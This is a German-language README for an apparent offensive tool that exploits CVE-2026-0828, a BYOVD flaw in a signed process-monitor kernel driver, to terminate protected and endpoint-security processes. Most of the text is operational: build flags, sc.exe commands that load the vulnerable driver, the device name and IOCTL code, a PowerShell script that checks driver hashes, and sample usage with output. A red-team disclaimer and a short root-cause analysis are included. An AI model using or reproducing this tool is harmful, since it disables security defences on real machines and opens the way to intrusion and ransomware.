
Kernel-Modus-Prozess-Killer, der CVE-2026-0828 (BYOVD) ausnutzt, um geschützte Prozesse über einen verwundbaren signierten Treiber zu beenden und dabei PPL und Endpoint-Sicherheit zu umgehen.
Ein Tool zur Prozessbeendigung im Kernel-Modus, das einen verwundbaren Treiber (CVE-2026-0828) ausnutzt, um geschützte Prozesse aus dem Benutzermodus zu beenden.
Erfordert MinGW-w64 (GCC) unter Windows. Kompilieren mit:
g++ --% .\terminator.cpp -o terminator.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W
Aufschlüsselung der Flags:
| Flag | Zweck |
|---|---|
--% | PowerShell-Stop-Parsing-Token (übergibt Argumente wörtlich an g++) |
-Oz | Für minimale Größe optimieren |
-ffunction-sections / -fdata-sections | Jede Funktion bzw. jedes Datenelement in einen separaten Abschnitt platzieren |
-static / -static-libgcc / -static-libstdc++ | Statisches Linken (keine Laufzeit-DLL-Abhängigkeiten) |
-Wl,--gc-sections | Linker entfernt ungenutzte Abschnitte (Garbage Collection) |
-W | Warnungen aktivieren |
Ausgabe: eigenständige terminator.exe (~20-30 KB gestrippt).
Dieses Projekt demonstriert die Ausnutzung eines verwundbaren Kernel-Treibers (STProcessMonitorDriver), der einen unvalidierten IOCTL_KILL_PROCESS-Handler bereitstellt und so die Beendigung beliebiger Prozesse unabhängig von Berechtigungen oder Schutzmechanismen (PPL, EPROCESS-Flags usw.) ermöglicht.
| Komponente | Zweck |
|---|---|
terminator.cpp | Benutzermodus-Client, der Prozesse auflistet und Kill-IOCTLs sendet |
terminator.hpp | Klassen-Schnittstelle für Prozessauflistung und -beendigung |
ProcessMonitorDriver.sys | Verwundbarer Kernel-Treiber (extern, nicht enthalten) |
Terminator::GetProcessPids()
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)Process32First/Process32NextTerminator::ProcessKill()
\\.\STProcessMonitorDriverIOCTL_KILL_PROCESS (0xB822200C) mit einem 8-Byte-PID-PufferVerwundbaren Treiber laden (erfordert Administratorrechte):
sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor
Wenn eine verwundbare Version von ProcessMonitorDriver.sys bereits installiert ist und als Dienst läuft (z. B. von einer legitimen Anwendung), kann Terminator direkt eine Verbindung herstellen, ohne einen neuen Treiber zu laden.
Prüfen, ob der Dienst vorhanden ist und läuft:
sc.exe query STProcessMonitor
Überprüfen, ob die Treiberversion verwundbar ist (PowerShell):
$driverPath = "C:\Windows\System32\drivers\ProcessMonitorDriver.sys"
if (Test-Path $driverPath) {
$hash = (Get-FileHash $driverPath -Algorithm SHA256).Hash.ToLower()
$vulnerableHashes = @(
"70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b", # 11.11.4.0
"85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786" # 10.5.75.0
)
if ($vulnerableHashes -contains $hash) {
Write-Host "[+] Vulnerable driver detected (SHA256: $hash)" -ForegroundColor Green
Write-Host "[+] You can simply run Terminator." -ForegroundColor Green
} else {
Write-Host "[-] Driver found but not a known vulnerable version (SHA256: $hash)" -ForegroundColor Yellow
}
} else {
Write-Host "[-] Driver not found at $driverPath" -ForegroundColor Red
}
Wenn der Dienst vorhanden ist und mit einer verwundbaren Version RUNNING ist, überspringe die Treiberladeschritte und starte Terminator direkt.
| Version | SHA-256 |
|---|---|
| 11.11.4.0 | 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b |
| 10.5.75.0 | 85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786 |
Andere Versionen können ebenfalls betroffen sein; überprüfe den IOCTL-Handler des Treibers vor der Verwendung.
terminator.exe -proc <process_name1> [process_name2] ...
Beispiel:
terminator.exe -proc notepad.exe calc.exe
[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.
Schwachstelle: Der Treiber STProcessMonitorDriver registriert einen IOCTL-Handler (0xB822200C), der:
PsLookupProcessByProcessId → ZwTerminateProcess direkt aufSYSTEM-Token) und umgeht alle Benutzermodus-ACLsAuswirkungen: Jeder Nicht-Admin-Benutzer mit Treiberzugriff kann folgende Prozesse beenden:
SeDebugPrivilege-AnforderungenGrundursache: Fehlende ObReferenceObjectByHandle-Validierung, keine SeSinglePrivilegeCheck(SeDebugPrivilege) und keine Zugriffsprüfungen auf Prozessobjekte.
Dieses Tool ist ausschließlich für autorisierte Sicherheitsforschung und Red-Team-Übungen bestimmt.
Die unbefugte Verwendung gegen Systeme, die dir nicht gehören oder für die du keine ausdrückliche Genehmigung zum Testen hast, ist illegal. Der Autor übernimmt keine Haftung für Missbrauch. Stelle sicher, dass du eine schriftliche Genehmigung hast, bevor du das Tool in einer Umgebung einsetzt.
Der verwundbare Treiber (
ProcessMonitorDriver.sys) ist für Demonstrationszwecke absichtlich fehlerhaft und sollte niemals in der Produktion eingesetzt werden.